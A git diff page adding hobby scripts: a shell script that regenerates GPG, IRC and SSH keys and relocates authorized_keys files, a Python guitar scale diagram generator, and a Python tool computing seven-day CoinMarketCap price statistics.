v6('add',randv6(subnet),interface)
|
||||
print(ip)
|
||||
#for ip in [line.rstrip() for line in open('ipv6.txt','r').readlines() if line]:
|
||||
# v6('del',ip,interface
|
40
rekey.sh
Normal file
40
rekey.sh
Normal file
@ -0,0 +1,40 @@
|
||||
#!/bin/sh
|
||||
recycle_gpg_key() {
|
||||
gpg --expert --full-gen-key
|
||||
local KEYID="CHANGEME" # todo: automatically parse this from gpg output
|
||||
gpg --export --armor $KEYID > $KEYID.pub.asc
|
||||
gpg --export-secret-keys --armor $KEYID > $KEYID.priv.asc
|
||||
gpg --export-secret-subkeys --armor $KEYID > $KEYID.sub_priv.asc
|
||||
gpg --delete-secret-key $KEYID
|
||||
gpg --import $KEYID.sub_priv.asc
|
||||
}
|
||||
|
||||
recycle_irc_key() {
|
||||
local NICK="CHANGEME"
|
||||
openssl req -x509 -new -newkey rsa:4096 -sha256 -days 3650 -nodes -out $NICK.pem -keyout $NICK.pem
|
||||
chmod 400 $NICK.pem
|
||||
}
|
||||
|
||||
recycle_ssh_key() {
|
||||
if [ ! -d $HOME/.ssh ]; then
|
||||
mkdir $HOME/.ssh
|
||||
else
|
||||
[ -f $HOME/.ssh/key ] && mv $HOME/.ssh/key $HOME/.ssh/key.back
|
||||
[ -f $HOME/.ssh/key.pub ] && rm $HOME/.ssh/key.pub
|
||||
fi
|
||||
read -p "Password: " $PASSWORD
|
||||
ssh-keygen -t ed25519 -a 100 -C "" -P "$PASSWORD" -f $HOME/.ssh/key -q
|
||||
}
|
||||
|
||||
setup_authorized_keys() {
|
||||
if [ ! -d /etc/ssh/authorized_keys ]; then
|
||||
mkdir /etc/ssh/authorized_keys
|
||||
else
|
||||
for f in /home/*/.ssh/authorized_keys; do
|
||||
local USERNAME=$(echo $f | cut -d/ -f 3)
|
||||
if [ ! -f /etc/ssh/authorized_keys/$USERNAME ]; then
|
||||
cat $f > /etc/ssh/authorized_keys/$USERNAME && rm $f
|
||||
fi
|
||||
done
|
||||
fi
|
||||
}
|
88
scales.py
Normal file
88
scales.py
Normal file
@ -0,0 +1,88 @@
|
||||
#!/usr/bin/env python
|
||||
# guitar scales generator - developed by acidvegas in python (https://acid.vegas/random)
|
||||
|
||||
scales = {
|
||||
'algerian' : '2131131', # 1 = Half-step | 2 = Whole-step | 3 = Whole-step-Half-step
|
||||
'aeolian' : '2122122',
|
||||
'blues' : '321132',
|
||||
'chromatic' : '1111111',
|
||||
'dorian' : '2122212',
|
||||
'half_whole_diminished' : '12121212',
|
||||
'harmonic_minor' : '2122131',
|
||||
'ionian' : '2212221',
|
||||
'locrian' : '1221222',
|
||||
'lydian' : '2221221',
|
||||
'major' : '2212221',
|
||||
'major_pentatonic' : '22323',
|
||||
'melodic_minor' : '2122221',
|
||||
'mixolydian' : '2212212',
|
||||
'natural_minor' : '2122122',
|
||||
'persian' : '1311231',
|
||||
'phrygian' : '1222122',
|
||||
'whole_half_diminished' : '21212121',
|
||||
'whole_tone' : '2222222'
|
||||
}
|
||||
|
||||
def generate_notes(key):
|
||||
notes = ['A','A#','B','C','C#','D','D#','E','F','F#','G','G#']
|
||||
while notes[0] != key:
|
||||
notes.append(notes.pop(0))
|
||||
return notes
|
||||
|
||||
def generate_scale(string, scale_notes, full=False):
|
||||
notes = generate_notes(string.upper())*2 if full else generate_notes(string.upper())
|
||||
notes.append(notes[0])
|
||||
for index,note in enumerate(notes):
|
||||
if note in scale_notes:
|
||||
notes[index] = notes[index].center(5, '-')
|
||||
else:
|
||||
notes[index] = '-'*5
|
||||
return notes
|
||||
|
||||
def get_pattern(pattern):
|
||||
new_pattern = list()
|
||||
for step in pattern:
|
||||
if step == '1' : new_pattern.append('H')
|
||||
elif step == '2' : new_pattern.append('W')
|
||||
elif step == '3' : new_pattern.append('WH')
|
||||
return ' '.join(new_pattern)
|
||||
|
||||
def scale(type, key):
|
||||
last = 0
|
||||
notes = generate_notes(key)
|
||||
scale_notes = [notes[0],]
|
||||
for step in scales[type]:
|
||||
last += int(step)
|
||||
if last >= len(notes):
|
||||
last -= len(notes)
|
||||
scale_notes.append(notes[last])
|
||||
return scale_notes
|
||||
|
||||
def print_scale(root, type, full=False):
|
||||
if root.upper() not in ('A','A#','B','C','C#','D','D#','E','F','F#','G','G#'):
|
||||
raise SystemExit('invalid root note')
|
||||
elif type.lower() not in scales:
|
||||
raise SystemExit('invalid scale type')
|
||||
else:
|
||||
frets = (24,147) if full else (12,75)
|
||||
print(f'{root.upper()} {type.upper()} SCALE'.center(frets[1]))
|
||||
print(' ┌' + '┬'.join('─'*5 for x in range(frets[0])) + '┐')
|
||||
print('0 │' + '│'.join(str(x).center(5) for x in range(1,frets[0]+1)) + '│')
|
||||
print(' ├' + '┼'.join('─'*5 for x in range(frets[0])) + '┤')
|
||||
scale_notes = scale(type, root)
|
||||
for string in ('eBGDAE'):
|
||||
string_notes = generate_scale(string, scale_notes, full)
|
||||
print(string + ' │' + '│'.join(note.center(5, '-') for note in string_notes[1:]) + '│')
|
||||
print(' └' + '┴'.join('─'*5 for x in range(frets[0])) + '┘')
|
||||
print((', '.join(scale_notes) + ' / ' + get_pattern(scales[type])).rjust(frets[1]))
|
||||
|
||||
def print_scales():
|
||||
max_key = max(len(x) for x in scales)
|
||||
max_value = max(len(get_pattern(scales[x])) for x in scales)
|
||||
print('NAME'.ljust(max_key+3) + 'PATTERN'.rjust(max_value))
|
||||
for name, pattern in scales.items():
|
||||
print(name.ljust(max_key) + ' │ ' + get_pattern(pattern).rjust(max_value))
|
||||
|
||||
# Main
|
||||
print_scales()
|
||||
print_scale('F#','major')
|
100
stdcap.py
Normal file
100
stdcap.py
Normal file
@ -0,0 +1,100 @@
|
||||
#!/usr/bin/env python
|
||||
# CoinMarketCap Standard Deviation - Developed by acidvegas in Python (https://acid.vegas/random)
|
||||
|
||||
'''
|
||||
The script will calculate the mean, median, mode, high, low & std for the entire cryptocurrency market over the last 7 days.
|
||||
|
||||
API Documentation:
|
||||
https://coinmarketcap.com/api/
|
||||
'''
|
||||
|
||||
import datetime
|
||||
import http.client
|
||||
import json
|
||||
import math
|
||||
import time
|
||||
import statistics
|
||||
|
||||
class CoinMarketCap(object):
|
||||
def __init__(self):
|
||||
self.cache = {'ticker':{'BTC':{'last_updated':0}}}
|
||||
|
||||
def _ticker(self):
|
||||
conn = http.client.HTTPSConnection('api.coinmarketcap.com')
|
||||
conn.request('GET', '/v1/ticker/?limit=0')
|
||||
data = json.loads(conn.getresponse().read().replace(b': null', b': "0"'))
|
||||
conn.close()
|
||||
return data
|
||||
|
||||
def _markets():
|
||||
conn = http.client.HTTPSConnection('s2.coinmarketcap.com')
|
||||
conn.request('GET', '/generated/search/quick_search.json')
|
||||
data = json.loads(conn.getresponse().read())
|
||||
conn.close()
|
||||
results = dict()
|
||||
for item in data:
|
||||
results[item['id']] = item['name']
|
||||
return results
|
||||
|
||||
def _graph(self, name, start_time, end_time):
|
||||
conn = http.client.HTTPSConnection('graphs2.coinmarketcap.com', timeout=60)
|
||||
conn.request('GET', f'/currencies/{name}/{start_time}/{end_time}/')
|
||||
return json.loads(conn.getresponse().read())
|
||||
|
||||
def generate_table(data):
|
||||
matrix = dict()
|
||||
keys = data[0].keys()
|
||||
for item in keys:
|
||||
matrix[item] = list()
|
||||
del keys
|
||||
for item in data:
|
||||
for subitem in item:
|
||||
matrix[subitem].append(item[subitem])
|
||||
for item in matrix:
|
||||
matrix[item] = len(max(matrix[item], key=len))
|
||||
columns = [item.ljust(matrix[item]) for item in matrix.keys()]
|
||||
print(' '.join(columns))
|
||||
del columns
|
||||
for item in data:
|
||||
row_columns = [item[subitem].ljust(matrix[subitem]) for subitem in item]
|
||||
print(' | '.join(row_columns))
|
||||
|
||||
def stddev(data):
|
||||
n = len(data)
|
||||
if n <= 1:
|
||||
return 0.0
|
||||
mean = avg_calc(data)
|
||||
sd = 0.0
|
||||
for el in data:
|
||||
sd += (float(el)-mean)**2
|
||||
sd = math.sqrt(sd/float(n-1))
|
||||
return sd
|
||||
|
||||
def avg_calc(ls):
|
||||
n = len(ls)
|
||||
mean = 0.0
|
||||
if n <= 1:
|
||||
return ls[0]
|
||||
for el in ls:
|
||||
mean = mean+float(el)
|
||||
mean = mean/float(n)
|
||||
return mean
|
||||
|
||||
def get_data(coin, start_time, end_time):
|
||||
try:
|
||||
time.sleep(4)
|
||||
data = [item[1] for item in CMC._graph(coin, start_time, end_time)['price_usd']]
|
||||
return {'name':coin,'mean':f'{sum(data)/len(data):.2f}','median':f'{statistics.median(data):.2f}','mode':f'{max(set(data),key=data.count):.2f}','high':f'{max(data):.2f}','low':f'{min(data):.2f}','std':f'{stddev(data):.2f}'}
|
||||
except:
|
||||
return {'name':'none','mean':'none','median':'none','mode':'none','high':'none','low':'none','std':'0'}
|
||||
|
||||
CMC = CoinMarketCap()
|
||||
ticker_data = CMC._ticker()
|
||||
start_time = int((datetime.datetime.now()-datetime.timedelta(days=7)).timestamp()*1000)
|
||||
end_time = int(datetime.datetime.now().timestamp()*1000)
|
||||
coins = [item['id'] for item in ticker_data] #[:10]
|
||||
data = [get_data(coin, start_time, end_time) for coin in coins]
|
||||
data = sorted(data, key=lambda k: float(k['std']), reverse=True)
|
||||
generate_table(data)
|
||||
size=len(CMC._graph('bitcoin', start_time, end_time)['price_usd'])
|
||||
print('Spread acrosss 7 days - ' + str(size) + ' points')
|
Loading…
Reference in New Issue
Block a user